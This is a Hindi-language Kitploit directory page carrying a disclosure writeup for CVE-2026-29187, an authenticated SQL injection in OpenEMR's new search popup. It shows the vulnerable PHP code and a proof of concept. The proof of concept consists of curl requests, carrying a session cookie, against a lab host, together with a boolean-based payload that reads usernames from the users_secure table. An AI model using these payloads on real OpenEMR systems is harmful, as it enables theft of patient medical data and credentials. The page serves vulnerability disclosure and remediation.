Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-29187_SqlInjectionVulnerabilityOpenEMR7.0.4 — CVE-2026-29187: SQL Injection Vulnerability in OpenEMR <8.0.0.3 | Kitploit
उपकरण/GitHubGitHub/chrissub08/cve-2026-29187_sqlinjectionvulnerabilityopenemr7.0.4
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingDatabase Security
GitHubchrissub08/cve-2026-29187_sqlinjectionvulnerabilityopenemr7.0.4

CVE-2026-29187_SqlInjectionVulnerabilityOpenEMR7.0.4

CVE-2026-29187: SQL Injection Vulnerability in OpenEMR <8.0.0.3

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

CVE-2026-29187 - नई खोज पॉपअप में SQL इंजेक्शन भेद्यता

कमजोरी CWE-89

SQL कमांड में प्रयुक्त विशेष तत्वों का अनुचित निष्प्रभावीकरण ('SQL इंजेक्शन') उत्पाद SQL कमांड के सभी या कुछ भाग को किसी ऊपरी घटक से बाह्य रूप से प्रभावित इनपुट का उपयोग करके बनाता है, लेकिन यह उन विशेष तत्वों को निष्प्रभावी नहीं करता या गलत तरीके से निष्प्रभावी करता है जो इच्छित SQL कमांड को संशोधित कर सकते हैं जब इसे निचले घटक को भेजा जाता है। उपयोगकर्ता-नियंत्रित इनपुट में SQL सिंटैक्स को पर्याप्त रूप से हटाने या कोट करने के बिना, उत्पन्न SQL क्वेरी उन इनपुट को सामान्य उपयोगकर्ता डेटा के बजाय SQL के रूप में व्याख्यायित करा सकती है। MITRE पर अधिक जानें।

सारांश

OpenEMR <8.0.0.3 में नई खोज पॉपअप में एक SQL इंजेक्शन भेद्यता है जिसका प्रमाणित हमलावर शोषण कर सकते हैं। यह भेद्यता नई खोज पॉपअप कार्यक्षमता में अपर्याप्त इनपुट सत्यापन के कारण मौजूद है।

विवरण

यह भेद्यता नई खोज पॉपअप कार्यक्षमता में होती है जहां उपयोगकर्ता द्वारा प्रदत्त इनपुट को select relevance कॉलम और where शर्त में सीधे SQL क्वेरी में जोड़ दिया जाता है बिना उचित स्वच्छता के। यह हमलावरों को दुर्भावनापूर्ण SQL कोड इंजेक्ट करने की अनुमति देता है।

यह भेद्यता निम्नलिखित पंक्तियों को प्रभावित करती है:

  • interface/new/new_search_popup.php पंक्ति 141
  • interface/new/new_search_popup.php पंक्ति 134 और पंक्ति 136
  • interface/new/new_search_popup.php पंक्ति 125 और पंक्ति 128
root@kitploit:~
        foreach ($_REQUEST as $key => $value) {
            if (!str_starts_with((string) $key, 'mf_')) {
                continue; // "match field"
            }
            $fldname = substr((string) $key, 3);
            // pubpid requires special treatment.  Match on that is fatal.
            if ($fldname == 'pubpid') {
                $relevance .= " + 1000 * ( " . add_escape_custom($fldname) . " LIKE ? )";
                array_push($sqlBindArray, $value);
            } else {
                $relevance .= " + ( " . add_escape_custom($fldname) . " LIKE ? )";
                array_push($sqlBindArray, $value);
            }
            $where .= " OR " . add_escape_custom($fldname) . " LIKE ?";
            array_push($sqlBindArraySpecial, $value);
            echo "<input type='hidden' name='" . attr($key) . "' value='" . attr($value) . "' />\n";
            ++$numfields;
        }

        $sql = "SELECT *, ( $relevance ) AS relevance, " .
            "DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS " .
            "FROM patient_data WHERE $where " .
            "ORDER BY relevance DESC, lname, fname, mname " .
            "LIMIT " . escape_limit($fstart) . ", " . escape_limit($MAXSHOW) . "";

        $sqlBindArray = array_merge($sqlBindArray, $sqlBindArraySpecial);
        $rez = sqlStatement($sql, $sqlBindArray);
root@kitploit:~
SELECT *, ( 0 + ( <injection> LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR <injection> LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100

PoC

root@kitploit:~
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'https://172.18.0.3/interface/new/new_search_popup.php?mf_"=test'           
<!DOCTYPE html>
<html>
<head>
    
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<link rel="shortcut icon" href="/public/images/logos/core/favicon/favicon.ico?t=1766556932" />

<link rel="stylesheet"  href="/public/themes/style_light.css?v=81" />

<script src="/public/assets/jquery/dist/jquery.min.js?v=81" type="text/javascript"></script>
<script src="/public/assets/bootstrap/dist/js/bootstrap.bundle.min.js?v=81" type="text/javascript"></script>
<script src="/library/js/utility.js?v=81" type="text/javascript"></script>
<script src="/interface/main/tabs/js/include_opener.js?v=81" type="text/javascript"></script>
<script src="/library/textformat.js?v=81" type="text/javascript"></script>
<script src="/library/dialog.js?v=81" type="text/javascript"></script>

<style>
  form {
    padding: 0;
    margin: 0;
  }

  #searchCriteria {
    text-align: center;
    width: 100%;
    font-size: 0.8rem;
    background-color: var(--gray300);
    font-weight: bold;
    padding: 3px;
  }

  #searchResultsHeader th {
    font-size: 0.7rem;
  }

  #searchResults {
    width: 100%;
    height: 80%;
    overflow: auto;
  }

  #searchResults table {
    width: 100%;
    border-collapse: collapse;
    background-color: var(--white);
  }

  #searchResults tr {
    cursor: pointer;
  }

  #searchResults td {
    font-size: 0.7rem;
    border-bottom: 1px solid var(--gray200);
  }

  .topResult {
    background-color: #ff9919;
  }

  .billing {
    color: var(--danger);
    font-weight: bold;
  }

  .highlight {
    background-color: var(--info);
    color: var(--white);
  }
</style>
</head>
<body class="body_top">
    <form method='post' action='new_search_popup.php' name='theform'>
        <input type="hidden" name="csrf_token_form" value="8d463d08b7f4e590085af22b77cfb2d3b921cb73" />
        <input type='hidden' name='fstart' value='0' />
        <input type='hidden' name='mf_&quot;' value='test' />
SQL Statement failed on preparation: SELECT *, ( 0 + ( \&quot; LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,&#039;%m/%d/%Y&#039;) as DOB_TS FROM patient_data WHERE 1 = 0 OR \&quot; LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: SELECT *, ( 0 + ( \" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR \" LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patien...' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/interface/new/new_search_popup.php at 141:sqlStatement                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'http://172.18.0.3/interface/new/new_search_popup.php?mf_(SELECT(username)FROM(users_secure))=ad_in%'

┌──(kali㉿kali)-[~]
└─$ 

इसका शोषण करने के लिए कई तकनीकें हैं; उनमें से एक बूलियन-आधारित हमला है, जो अंतिम पेलोड का उपयोग करके काम करता है:

root@kitploit:~
SELECT *, ( 0 + ( (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100

प्रभाव

  • डेटाबेस जानकारी तक अनधिकृत पहुंच
  • संवेदनशील चिकित्सा जानकारी का संभावित डेटा उल्लंघन
  • सर्वर-साइड कोड निष्पादन (कुछ मामलों में)
  • डेटाबेस से समझौता

भेद्यता सुधार प्रक्रिया

  1. भेद्यता का आकलन और सत्यापन करें
  2. CVE ID का अनुरोध करें या निर्दिष्ट करें
  3. एक निजी फोर्क या निजी शाखा बनाएं
  4. सुधार विकसित करें
  5. प्रतिगमन और सुरक्षा परीक्षण लिखें
  6. रिलीज नोट्स और सुरक्षा सलाहकार मसौदा तैयार करें
  7. सुधार प्रकाशित करें (कोड मर्ज) और एक पैच किया गया संस्करण जारी करें
  8. भेद्यता को सार्वजनिक रूप से प्रकट करें

श्रेय

  • शोधकर्ता: Christophe SUBLET
  • संगठन: Grenoble INP - Esisar, UGA
  • परियोजना: CyberSkills, Orion
टूल डाउनलोड करें